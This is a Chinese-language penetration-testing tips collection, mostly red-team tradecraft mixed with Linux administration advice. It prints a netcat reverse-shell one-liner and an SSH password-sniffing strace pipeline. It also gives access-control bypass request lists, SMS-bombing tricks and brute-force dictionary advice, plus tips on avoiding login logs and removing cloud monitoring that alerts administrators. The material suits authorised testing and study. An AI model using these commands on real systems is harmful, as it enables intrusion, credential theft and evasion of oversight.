每周(也许不)分享一些关于渗透测试的知识点
无论红队还是蓝队,干活之前先让客户保存好日志和备份.(在啰嗦我也要说,血的教训)
通过 NPM 仓库做文件分发,可以用于后门文件的分发,域名白名单绕过,有被溯源风险,合理使用
这个文章里讲了redis 主从rce后如何恢复的方法
可以用于 bypass ja3 检测的工具库
- Danny-Dasilva/CycleTLS - Spoof TLS/JA3 fingerprints in GO and Javascript
- CUCyber/ja3transport - Impersonating JA3 signatures
分享2个 graphql 利用的辅助工具
还有一个 graphql 的靶场,可以实战试试
GraphQL 自省机制,默认情况下,任何未经身份验证的用户都可以分析 GrapQL 模式。Introspection 允许我们获取有关所有请求、mutation、订阅和数据类型的信息,以及向发出请求的客户端提供的所有其他信息。通过请求 ___schema 元字段可以轻松获得此信息,根据规范,该信息始终可用于“root”类型的查询。
Content-Type: application/json
{"query":"query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}"}
一个用于 ip 反查的小工具,出现新的漏洞POC,批量验证完,快速确定ip所属企业,方便提交漏洞 https://github.com/Sma11New/ip2domain
找到了泄露的 Google Maps API 不知道怎么利用,可以使用 gmapsapiscanner 工具进行验证.
分享一个脚本, 可以在 linux 没有 curl 和 wget 的情况用 shell 实现下载功能(仅支持http)
#!/bin/bash
function DOWNLOAD() {
local URL=$1
if [ -z "${URL}" ]; then
printf "Usage: %s \"URL\" [e.g.: %s http://www.xxx.com/test.json]" \
"${FUNCNAME[0]}" "${FUNCNAME[0]}"
return 1;
fi
read proto server path <<< "${URL//"/"/ }"
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
while IFS= read -r line ; do
[[ "$line" == $'\r' ]] && break
done <&3
nul='\0'
while IFS= read -d '' -r x || { nul=""; [ -n "$x" ]; }; do
printf "%s$nul" "$x"
done <&3
exec 3>&-
}
DOWNLOAD "$1"
来回切换多个osint搜索引擎很麻烦,一个个导出更是耗费时间,建议你试试我们的多网络资产测绘引擎 API 命令行查询工具
目前支持 : chaos、hunter、quake、zoomeye、shodan、fofa
企业中经常把企业简称(jsxx)、工号(10086)、姓名全拼(zhangsan)、姓名带点(jing.zhang)等做为登录用户名,攻击者收集工号、邮箱名,或者直接生成用户名字典进行爆破,成功率非常高,这里推荐我们开源的工具来进行字典的生成
Redhat/CentOS 发行版下可以通过写恶意网卡配置文件进行命令执行的方式,条件比较受限,但也是一种方法,可以学习一下
sudo tee /etc/sysconfig/network-scripts/ifcfg-1337 <<-'EOF'
NAME=Network /bin/id <= Note the blank space
ONBOOT=yes
DEVICE=eth0
EOF
service network restart # 重启网络管理触发
systemctl status network.service # 可以看到 id 已经执行
nuclei 目前支持了多个 dns 变量,以 www.ffffffff0x.com 为例
{{FQDN}} # www.ffffffff0x.com
{{RDN}} # ffffffff0x.com
{{DN}} # ffffffff0x
{{TLD}} # com
{{SD}} # www
当存在需要根据目标域名进行生成相应 payload 的需求时, 推荐用 nuclei 的这些变量
uuid 是常用的唯一标识符,很好用,不过这里推荐一个可以用于替代的 uuid 的解决方案 : https://github.com/ai/nanoid ,速度更快,更安全,已被移植到多种语言中
在 burp 的 raw 包如果要编写为 python 脚本不是很难,但是如果经常有这种需求,其实也很麻烦, 分享一个技巧,可以从 raw 包转换为 Python, JavaScript, PHP, R, Go, Rust 等代码的形式
- 从 Burp 复制 http 请求到 https://curl.se/h2c/ 转换为 curl 命令
- 复制 curl 命令到 https://curlconverter.com/
- 完善生成的脚本,添加你需要的功能,验证即可
来自文章 : https://medium.com/@wyv3rn/creating-easy-proof-of-concept-scripts-with-python-and-curl-5dca489c596b
如果嫌麻烦,也可以直接安装程序一条命令转换
npm install --global curlconverter
wget -O h2c https://raw.githubusercontent.com/curl/h2c/master/h2c && chmod +x h2c
sudo tee test.txt <<-'EOF'
POST /test/site/post.cgi HTTP/1.1
Host: example.com
User-Agent: moo
Shoesize: 12
Cookie: a=12; b=23
Content-Type: application/json
Content-Length: 57
{"I do not speak": "json"}
{"I do not write it": "either"}
EOF
./h2c < test.txt | curlconverter
./h2c < test.txt | curlconverter -l go
运用nuclei进行API密钥喷洒,不过国内环境要单独去写相应的yaml
运用nuclei扫描配置错误的反代服务器的案例,值得学习
- https://blog.projectdiscovery.io/abusing-reverse-proxies-metadata/
- https://blog.projectdiscovery.io/abusing-reverse-proxies-internal-access/
- https://github.com/projectdiscovery/nuclei-templates/tree/master/misconfiguration/proxy
- https://github.com/projectdiscovery/nuclei-templates/blob/master/vulnerabilities/generic/request-based-interaction.yaml
https://www.acunetix.com/vulnerabilities/web/ - awvs 的漏洞检测用例,里面有详细的漏洞描述,修复建议,和参考链接
https://cs.github.com/ - github 的新版搜索引擎,可以用于 OSINT 的搜索,具体案例可以参考这篇文章 https://www.sshell.co/github-code-search/
想学习 nuclei 不知道怎么用? 推荐你看看我这篇笔记 https://github.com/ffffffff0x/1earn/blob/master/1earn/Security/%E5%AE%89%E5%85%A8%E5%B7%A5%E5%85%B7/nuclei.md
生成社工字典时可以根据目标单位名称、负责人姓名、手机号、邮箱等
使用 https://github.com/mozillazg/python-pinyin 库
提供 **张三商业公司 , 输出 zgzssygs 配合常见的密码后缀 @123456、@2021 等可以构造出更加具有针对性的社工字典
nmap 官方列出了在电影里出现了 nmap 的场景,并一一作出解释 🤣
burp的扫描增强插件
- wagiro/BurpBounty - Burp Bounty (Scan Check Builder in BApp Store) is a extension of Burp Suite that allows you, in a quick and simple way, to improve the active and passive scanner by means of personalized rules through a very intuitive graphical interface.
还有一个很不错的配置文件项目
- https://github.com/Sy3Omda/burp-bounty - Burp Bounty is extension of Burp Suite that improve Burp scanner.
自建 dnslog 服务可以使用 https://github.com/chennqqi/godnslog
有时候进到后台,导出的一些数据可能是 json 格式的,这个时候可以用 linux 下的 jq 工具,快速处理 json 数据,导出成你需要的格式.
例如:
wget https://raw.githubusercontent.com/modood/Administrative-divisions-of-China/master/dist/pcas.json
cat pcas.json | jq '."北京市"' > out.txt # 获取北京市所有辖区、街道信息
cat pcas.json | jq '."北京市"."市辖区"' > out.txt
cat pcas.json | jq '."北京市"."市辖区"."东城区"' > out.txt # 获取北京市东城区所有街道信息
通过获取的信息,进一步构造字典或者其他的,用于扩大战果
很多师傅的 blog 提供了 rss 订阅,我个人推荐一个 rss 阅读的chrome插件: Feedbro
及时阅读新的文章,跟上师傅们的步伐.
projectdiscovery 的 chaos 是收集 src 资产的不错途径
在 vps 上跑扫描任务经常由于网络波动掉 ssh 连接, 此时 shell 里执行的任务也被断掉了, 针对这种情况,可以试试虚拟 shell, 比如 screen , tmux , 虚拟 shell 在你断掉 ssh 连接时不会 kill 掉任务, 很好用,可以试一试
拿下 linux 机器,可以运行下 last
如果是内网机器,可以发现运维管理员的 ip 段,精准定位目标
也可以看下防火墙信息 iptables --list
也会有所收获
翻数据库密码可以注意 history
记录也可以看下 /root/.mysql_history
文件
偶尔跑1、2个脚本安装一下模块还是挺恼人的
如果经常写 python 脚本,可以使用 pipreqs 生成自己的 requirements.txt 文件,这样方便在更换主机的时候快速部署好运行环境
浏览器内打开 cmd
ms-settings:clipboard?activationSource=
火狐
telnet:///
irc:///
ircs:///
mailto:///
webcal:///
有 wsdl/soap 不知道怎么测?除了老版本awvs以外可以使用 soapui 直接抓取目标接口,也可用 burp 插件 Wsdler
还有一个 ReadyAPI 可以自动 fuzz,不过使用实在是太不方便了
避免记录登录日志的小技巧
ssh -T user@host /bin/bash -i
-T 代表不要分配 tty,-i 代表要一个交互型的 bash
来自文章 : Linux 系统日志小结
如何关闭 http://burp 防止蜜罐探测
- Proxy - Options - Miscellaneous - Disable web interface at http://burp
检测暗链的小技巧,使用爬虫的 user-agent 遍历访问目标,对比 title 和内容
DNS收集的优先级 被动+爬取+过滤 > 主动扫描+爆破
- 可以使用这种思路 rapid7公共数据集+js爬取+Github等第三方爬取+subfinder+OneForAll+ksubdomain过滤
对于未知的webshell,可以尝试爆破路径、密码
- webshell路径字典 : https://github.com/ffffffff0x/AboutSecurity/blob/master/Dic/Web/Webshell/Fuzz_dir.txt
- webshell密码字典 : https://github.com/ffffffff0x/AboutSecurity/blob/master/Dic/Web/Webshell/Fuzz_webshell_pass.txt
也加一些参数,尝试报错,看会不会有密码
nc 用的不爽可以尝试换个 reverse-shell 工具,推荐个 https://github.com/nodauf/Girsh ,go写的,可以自动检测OS并执行正确的命令,将其升级为一个完整的交互式反向shell。
从反编译的 apk 文件中提取相关域名链接/IP
grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" -r xxx --color=auto
grep -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" -r xxx --color=auto
通过正则从 apk 中提取一些敏感信息
apktool d app_name.apk
grep -EHirn "accesskey|admin|aes|api_key|apikey|checkClientTrusted|crypt|http:|https:|password|pinning|secret|SHA256|SharedPreferences|superuser|token|X509TrustManager|insert into" APKfolder/
如果登录系统设置了 IP 地址白名单,我们可以通过修改 http 头字段伪造 IP 地址
或者直接修改 host 头
curl -v -H "Host: localhost" https://target/
wget -d --header="Host: localhost" https://target/
有时候文件太大,想先确认一下文件结构和部分内容,这时可以使用 remotezip,直接列出远程 zip 文件的内容,而无需完全下载,甚至可以远程解压,仅下载部分内容
pip3 install remotezip
remotezip -l "http://site/bigfile.zip" # 列出远程zip文件的内容
remotezip "http://site/bigfile.zip" "file.txt" # 从远程zip⽂件解压出file.txt
URL跳转漏洞字典: https://github.com/ffffffff0x/AboutSecurity/blob/master/Dic/Web/api_param/Fuzz_Redirect.txt
burp 在忽略目标的时候是配置 Intercept Client Requests , 但是这个选项不支持批量导入, 只能一条一套的添加, 非常反人类, 所以 windows 下可以通过 Proxifier 配置 Rules 做到忽略指定的 host
附赠一个 Target hosts 列表
npm 和 github 加速可以使用 jsdelivr 的 cdn 进行加速,但 jsdelivr 不支持 release 的发布文件下载,可以采用 cf worker 部署的代理服务进行加速
在 linux 中不知道当前用户可用什么命令,可以使用下面的命令,这条命令可以列出所有可用的命令(有点拗口)
compgen -c
火绒拦截扫描,如何关闭拦截?
- 火绒>网络防护>基础防护中关闭
druid 未授权访问常见路径
- /druid/websession.html
- /system/druid/websession.html
- /webpage/system/druid/websession.html
爆破目标用户名时应考虑如下可能:
- 撞库
- 常见手机号
- 常见登录账号(admin、manager、test、deme)
- 数字组合(0-9、00-99、000-999、0000-9999、00000-99999)
- 拼音(zhangsan、zhang.san、zhangs)
- 中文(张三、李四、张san)
- 英文名(Tom、Jeo、Cherry)
- 单位名(zssx123、zssx@123)
- 地名(beijing123、beijing@123)
- 组合(地名+单位名)
- 域名(baidu@123、JD@123)
- 生日组合
整理字典时,推荐用linux下的工具快速合并和去重
cat file1.txt file2.txt fileN.txt > out.txt
sort out.txt | uniq > out2.txt
信息收集小技巧,仔细观察目标页面的js路径,多找几个js目录,专门用js字典进行爆破,获取的js脚本列表,再调用工具去匹配路径和凭证。
有时一些上传点没有过滤,但你访问文件是通过函数调用获取文件,这个时候可以先测下任意文件读,然后尝试get改为post在测试任意文件读,如果存在,尝试通过任意文件读找路径
打某一个行业想要有成果,最好要深入了解这个行业,我举个例子,比如搞传奇/dnf这种私服的,他们讲管理员都叫gm,不像搞IT的叫admin,那你爆一些私服游戏的网页后台、管理账号就需要搞一些行业黑话生成一下,比如/gm/或者/chongzhi/gm.php,用IT行业的字典,水土不服🤣,还有菠菜行业,注册用户需要6位邀请码,很多都是888888、666666这种吉利数字,逆向一下思路,猜一猜目标受众喜欢什么。
我们在后渗透过程中经常要传 payload 到目标,临时起的文件服务器都是 python 一条命令的事
- Python 2.x
python -m SimpleHTTPServer 8000 # 在当前目录起个 8000 端口的 HTTP 服务
- Python 3.x
python -m http.server 8000 --bind 0.0.0.0
- 推荐一个可以加密码的,一条命令python服务器模块
pip3 install updog updog --port 8888 --password test1234
一般来说,某些场景多个服务是协同的关系,比如就这个 LiveCMS 服务一定和下面的监控设备有连接,不然日志不会这么大,可以搞一搞下级监控,也可以专门搞一搞这个 LiveCMS 和 LiveSMS、LiveGBS 试试 LiveCMS 端口使用
- TCP 端口 : 5060(SIP), 10000(HTTP), 26379(Redis)
- UDP 端口 : 5060(SIP)
LiveSMS : SIP 流媒体服务, 根据需要可部署多套
- TCP 端口 : 5070(SIP), 10001(HTTP), 11935(RTMP Live), 30000-40000(RTP over TCP)
- UDP 端口 : 5070(SIP), 50000-60000(RTP/RTCP over UDP)
有时候我们拿了一台 docker 机器,发现没有 ifconfig 命令也没有 ip 命令,不清楚怎么看 IP,这时候可以通过查看 proc 文件的方式来查看
cat /proc/net/fib_trie
cat /etc/sysconfig/network
渗透时遇到某些上传点未作过滤,但负载均衡做了过滤后缀名的情况,可以上传 webshell 命名为 index.php,然后访问 xxx.com/xxx/upload, 尝试 bypass 反代的策略
当渗透时遇到了 403 或者 302、401 的拒绝访问,不要怕,多 FUZZ 几次
-
从 HTTP Header 层面 bypass
GET /admin HTTP/1.1 Host: web.com # ===> 403 GET /anything HTTP/1.1 Host: web.com X-Original-URL: /admin # ===> 200 GET /anything HTTP/1.1 Host: web.com Referer: https://web.com/admin # ===> 200 GET https://qq.com HTTP/1.1 Host: web.com # ===> SSRF
-
从 URL 参数层面 bypass
/admin/panel # ===> 403 /admin/monitor # ===> 200 /admin/monitor/;panel # ===> 302
web.com/admin # ===> 403 web.com/ADMIN # ===> 200 web.com/admin/ # ===> 200 web.com/admin/. # ===> 200 web.com//admin// # ===> 200 web.com/./admin/./ # ===> 200 web.com/./admin/.. # ===> 200 web.com/%2f/admin/ # ===> 200 web.com/admin.json # ===> 200(ruby) web.com/%2e/admin # ===> 200 web.com/%252e/admin # ===> 200 web.com/%ef%bc%8fadmin # ===> 200 web.com/admin # ===> 302 web.com/admin..;/ # ===> 200
-
从协议层面 bypass
http://web.com/admin # ===> 403 https://web.com/admin # ===> 200
当我们拿下 windows 机器时可以通过抓内存中的密码进行横向,但 linux 却不可能抓到内存中的密码,但是 Debian 系列下的 linux 系统可以通过监听 sshd 进程的数据抓取出明文密码,比如你拿下了一台管理员机器,上面有 xshell,你可以手动开一个监听,在开一个登录,监听的窗口上就抓出密码了
strace -xx -fp `cat /var/run/sshd.pid` 2>&1| grep --line-buffered -P 'write\(\d, "\\x00' | perl -lne '$|++; @F=/"\s*([^"]+)\s*"/g;for (@F){tr/\\x//d}; print for @F'|grep --line-buffered -oP '.{8}\K([2-7][0-9a-f])*$'|grep --line-buffered -v '^64$'|perl -pe 's/([0-9a-f]{2})/chr hex $1/gie'
当然你也可以直接用工具抓 xshell 存的密码
- Arvanaghi/SessionGopher - 使用 WMI 提取 WinSCP、PuTTY、SuperPuTTY、FileZilla 和 Microsoft remote Desktop 等远程访问工具保存的会话信息的 ps 脚本
- uknowsec/SharpDecryptPwd - 对密码已保存在 Windwos 系统上的部分程序进行解析,包括:Navicat,TeamViewer,FileZilla,WinSCP,Xmangager 系列产品(Xshell,Xftp)。
渗透时尽量不要暴露自己的 IP 地址,挂代理是必须的
- linux 下要查看自己终端是否走代理可以 curl https://ifconfig.me/ 看下返回的 IP 地址
- windows 就直接访问 https://ifconfig.me/ 即可
linux 下代理不用多说, proxychains-ng,windows 下推荐用 Proxifier
MSF 和 CS 中 Stage 与 Stageless 的区别
- Stage : 先传一个 shellcode,然后回连端口,加载恶意 metsrv,然后再请求 stdapi 于 priv,进行上线
- Stageless : 将 shellcode、metsrv、stdapi、priv 打包,一次性传完
- 如果想让 msf 直接回弹到 NC,那么必须要用 stageless
判断目标主机是不是虚拟机、容器
- windows
- cmd : systeminfo
- Powershell : get-wmiobject win32_computersystem | fl model
- linux
lshw -class system | grep -i VM & grep -i virtual dmesg | grep -i VM & grep -i virtual dmidecode -s system-product-name ls /tmp systemd-detect-virt virt-what ls -alh /.dockerenv cat /proc/1/cgroup
msf 框架其实有许多 UI 界面的工具, 可以帮助不习惯命令行的渗透测试人员进行渗透,我举几个例子
在进行云主机后渗透时,如果触发敏感操作,会有短信提醒到管理员手机上,这个时候可以酌情考虑卸载云主机的监控 (有时你用云主机装 SSR 会无法连接也是这个原因)
rlwrap 工具,可以完美解决各类 shell 中无法上下左右的问题
例如 ,回弹了 shell,手贱按了上,这种情况(我想你一定遇到过🤣🤣🤣🤣)
- 安装:
apt install rlwrap
- 使用:
rlwrap [Command]
cAdvisor 是 Google 出品的用于监控 Docker 容器的服务,渗透时遇到这个服务基本上是存在容器环境
新版 kali 2020 版后使用 root 账号默认不给密码,如果你想,可以直接进行修改 : sudo passwd root
nc 具有多个版本, 比如: traditional、openbsd、ncat
- traditional 最老的版本,支持最基本的功能
- openbsd 安全版本,回弹要用一大段命令
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
- ncat 新版本, 重构了旧版的代码并支持了许多新功能, debian 系列发行版下通过以下命令进行安装配置
apt install -y ncat update-alternatives --set nc /usr/bin/ncat
程序溢出,int 最大值为 2147483647,可尝试使用该值进行整数溢出,观察现象。
图片验证码可设置为空,如:code=undefined
也可以使用字典进行 fuzz
任意文件下载:/porc/self/cmdline -- 当前进程的 cmdline 参数,/var/lib/mlocate/mlocate.db -- 全文件路径。
- 138888888889 12 位经过短信网关取前 11 位,导致短信轰炸
- 短信轰炸绕过:手机号前加 + 86 有可能会绕过,手机号输入邮箱,邮箱处输入手机号
- 手机号码前后加空格,86,086,0086,+86,0,00,/r,/n, 以及特殊符号等
- 手机号前加若干 + 会造成短信轰炸
- 获取短信验证码时,用逗号隔开两个手机号,有可能两个手机号能获取到同一个验证码
通过 eBPF hook 系统的 libssl ,从而不需要装ca证书也可以抓https的包,很不错的项目,在应急响应和主机监控中会很有用
jq,但是是用于文件的 https://github.com/wader/fq
推荐一个不错的恶意文件分析工具 https://github.com/mandiant/capa
流量分析除了 wireshark 用科来的工具进行分析也是个不错的选择,有时候做 ctf 的分析题,直接用科来工具打开就可以发现异常包,还是挺有帮助的
CobaltStrike 的 Fofa 语法
cert="73:6B:5E:DB:CF:C9:19:1D:5B:D0:1F:8C:E3:AB:56:38:18:9F:02:4F"
红队常用的扫描器特征
"Beacon.dll"、"beacon.x64.dll" 和 "ReflectiveLoader" 默认是 CS Beacon 的硬编码特征。当寻找内存中的后门时,可以利用这一点
分享一篇关于jq的中文教程,讲的非常详细,推荐
还有一个可以在线调试jq命令的工具
- https://github.com/jpmens/jo - 生成json格式数据的小工具
- https://github.com/eficode/wait-for 帮助你监测目标是否启动
vultr 的 Fedora 35 版本 vps 默认无 dns 设置,我无法理解 🤡
echo "nameserver 8.8.8.8" > /etc/resolv.conf
systemctl restart systemd-resolved
远程修改文件有时候还是图形化方便些,如果喜欢 vscode 这种编辑器,可以试试 https://github.com/cdr/code-server ,在目标上配置一个远程的 vscode 服务器,做调试、跑脚本都很方便
推荐一个很方便的 linux 文件管理工具 ranger, 具有 Vim 式的操作方式.
apt install ranger && pip install ranger-fm
ranger
# 使用 h,j,k,l 来进行光标的移动, 来穿越在不同的文件夹中
# q 退出
# S 来进行当前光标所在的文件夹中 exit 命令重新回到 ranger 程序当中去
当运行一个程序发现缺少库时,可以使用 apt-file 进行搜索,然后安装对应的软件包
apt install apt-file
apt-file update
apt-file search <xxx>
apt install <xxx>
来自项目 : firmianay/Tips-for-Geek
用于文本处理的几个工具
- tr : 多功能处理
- https://github.com/tomnomnom/anew : 自动去重
- jq : json 格式化
- expand/unexpand : 空格和 TAB 转换
命令行下截图的一种不错的方式
- asciinema
神器级工具,Linux 下的 everything
推荐一个 linux 小工具 trash-cli 用于移动文件到回收站,同时会记录文件的原地址、删除日期和权限。trash-cli 和 KDE、GNOME、XFCE 使用同一个回收站,你可以在命令行或脚本运行 trash-cli。一定程度上可以代替 rm
一个探针工具,可用于实时监测服务器运行状况
linux 使用过程中经常出现安装软件包失败的问题,很多情况是遇到了锁,可以直接删除(运维兄弟们,生产环境下不要用啊🤣🤣🤣)
- debian系
报错:无法获得锁 /var/lib/apt/lists/lock - open (11: 资源暂时不可用)
rm -rf /var/cache/apt/archives/lock rm -rf /var/lib/dpkg/lock-frontend rm -rf /var/lib/dpkg/lock rm /var/lib/dpkg/lock rm /var/lib/apt/lists/lock
- redhat系
报错:/var/run/yum.pid 已被锁定,PID 为 xxxx 的另一个程序正在运行.
rm -f /var/run/yum.pid 2> /dev/null
- 特立独行的 Fedora
报错:Waiting for process with pid to finish.
rm -f /var/cache/dnf/metadata_lock.pid 2> /dev/null
在 linux 中安装一些组件的依赖时会有比如 python-dev 和 python-devel 的区别,devel 或 dev 包主要是供开发用,这代表不同的发行版本,redhat 系是 devel ,debian 系是 dev
修改 Linux 的 DNS 一直是一个问题,每次开机 dns 都会重置,debian 下可以使用 dns 管理工具一劳永逸的解决
- 安装
apt-get install -y resolvconf
- 配置
echo "nameserver 223.5.5.5" > /etc/resolvconf/resolv.conf.d/head
- 更新
resolvconf -u
- 若需要更改 DNS,请修改
/etc/resolvconf/resolv.conf.d/head
文件
如果在 red hat 系发行版中需要装开发工具,建议安装 Development Tools ,可以将常用软件,一次性装好
- 安装
yum groupinstall -y "Development Tools"
分享几个linux性能调优的技巧
sync # sync 命令做同步,以确保文件系统的完整性,将所有未写的系统缓冲区写到磁盘中,包含已修改的 i-node、已延的块 I/O 和写映射文件.否则在释放缓存的过程中,可能会丢失未保存的文件.
echo 1 > /proc/sys/vm/drop_caches # 清理 pagecache(页面缓存)
echo 2 > /proc/sys/vm/drop_caches # 清理 dentries(目录缓存)和inodes
echo 3 > /proc/sys/vm/drop_caches # 清理 pagecache、dentries 和 inodes
sync
# 取消开启文件数限制
ulimit -n 65535
# 优化内存
echo 128 > /proc/sys/vm/nr_hugepages # 默认为0
sysctl -w vm.nr_hugepages=128
最近在 linux 搭建 vpn 服务的时候遇到时间和时区不同步的情况,分享下解决方案
查看当前时区
timedatectl
修改当前时区:
timedatectl set-timezone Asia/Shanghai
# 或
cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
由于 python 官方停止了对 python2 的维护,以后大部分和 pip2 有关的操作都会报下面这个错,我预估一下,这个应该是以后我们遇到最常见的问题之一, 解决方案很简单, 安装指定版本的 pip2 即可
curl https://bootstrap.pypa.io/2.7/get-pip.py --output get-pip.py
python get-pip.py
Python 2 在 Ubuntu 20 上不存在,但是有时候还是需要的。可以通过以下命令安装
apt-get install python-is-python2
create by ffffffff0x